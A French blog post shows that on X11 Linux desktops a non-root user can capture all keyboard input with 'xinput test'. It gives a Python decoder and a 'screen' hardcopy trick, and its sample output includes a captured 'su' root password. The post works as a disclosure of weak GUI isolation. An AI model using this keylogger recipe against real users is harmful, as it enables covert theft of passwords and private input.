En tant que root, il est bien sûr potentiellement possible de faire ce que l’on veut sur sa machine, comme enregistrer toutes les touches tapées au clavier (keylogger).

Mais aussi incroyable (et inquiétant) que cela puisse paraître, il est possible de faire exactement la même chose… sans être root.

Démonstration

Et en plus, c’est tout simple : il suffit pour un programme d’écouter les événements clavier envoyés par le serveur X.
Prenons un outil qui le fait déjà (ça nous évitera de le coder), xinput :

apt-get install xinput

Pour obtenir la liste des périphériques utilisables :

xinput list

Repérer la ligne concernant le clavier (contenant « AT ») et noter son id (ici 11).

$ xinput list | grep AT
    ↳ AT Translated Set 2 keyboard            	id=11	[slave  keyboard (3)]

Puis démarrer l’écoute sur ce périphérique dans un terminal :

xinput test 11

Au fur et à mesure que l’on tape du texte, la sortie standard de xinput indique quelles touches sont tapées :

key press   56 
key release 56 
key press   32 
key release 32 
key press   57 
key release 57 
key press   44 
key release 44 
key press   32 
key press   30 
key release 32 
key release 30 
key press   27 
key release 27

Cela fonctionne même lorsqu’on écrit dans une autre application, quelque soit l’utilisateur qui l’a démarrée. En particulier, si dans un autre terminal on exécute la commande suivante, le mot de passe est bien capturé :

$ su -
Mot de passe : 

Un programme avec de simples droits utilisateur peut donc écouter tout ce qui est tapé au clavier (et donc l’enregistrer, l’envoyer à un serveur…).

Décodage

Convertisseur

La sortie de xinput n’est pas très utilisable en pratique. Pour la décoder, un programme d’une vingtaine de lignes en Python suffit (fortement inspiré de ce PoC). Appelons-le xinput-decoder.py :

#!/usr/bin/env python
# -*- coding: UTF-8 -*-
import re, sys
from subprocess import *

def get_keymap():
    keymap = {}
    table = Popen(['xmodmap', '-pke'], stdout=PIPE).stdout
    for line in table:
        m = re.match('keycode +(\d+) = (.+)', line.decode())
        if m and m.groups()[1]:
            keymap[m.groups()[0]] = m.groups()[1].split()[0]
    return keymap

if __name__ == '__main__':
    keymap = get_keymap();
    for line in sys.stdin:
        m = re.match('key press +(\d+)', line.decode())
        if m:
            keycode = m.groups()[0]
            if keycode in keymap:
                print keymap[keycode],
            else:
                print '?' + keycode,

Pour convertir le résultat à la volée :

xinput test 11 | ./xinput-decoder.py

Problème de redirection

Le problème, c’est que lorsqu’on redirige la sortie de xinput dans un fichier ou en entrée d’un autre programme, le contenu ne s’affiche que par salves (d’environ 128 caractères apparemment). Sans doute une histoire de buffer, à mon avis activé uniquement lorsque la fonction isatty() retourne true.

Pour contourner le problème et récupérer les dernières touches tapées, il est possible de démarrer la commande dans un screen :

screen xinput test 11

puis, à la fin de la capture, d’enregistrer le contenu dans un fichier. Pour cela, dans le screen ainsi ouvert, taper Ctrl+A, :, puis hardcopy -h /tmp/log.
De cette manière, /tmp/log contiendra toute la capture.

Pour convertir le résultat :

$ ./xinput-parser.py < /tmp/log
s u space minus Return mon mot de passe root Return a p t minus g e t space u p d a t e Return Control_L a colon

Améliorations

Une solution plus pratique serait peut-être de démarrer xinput par le programme Python, en lui faisant croire qu’il écrit dans un TTY (ce que je ne sais pas faire). Quelqu’un l’a fait en Perl.
Il faudrait également prendre en compte le relâchement des touches dans le décodeur, car lorsqu’il affiche « Shift_L a b », nous n’avons aucun moyen de savoir si la touche Shift a été relâchée avant le a, entre le a et le b, ou après le b.

Liens

Merci à Papillon-butineur de m’avoir fait découvrir ce fonctionnement étonnant du serveur X.
Je vous recommande le billet suivant (en anglais) ainsi que ses commentaires : The Linux Security Circus: On GUI isolation.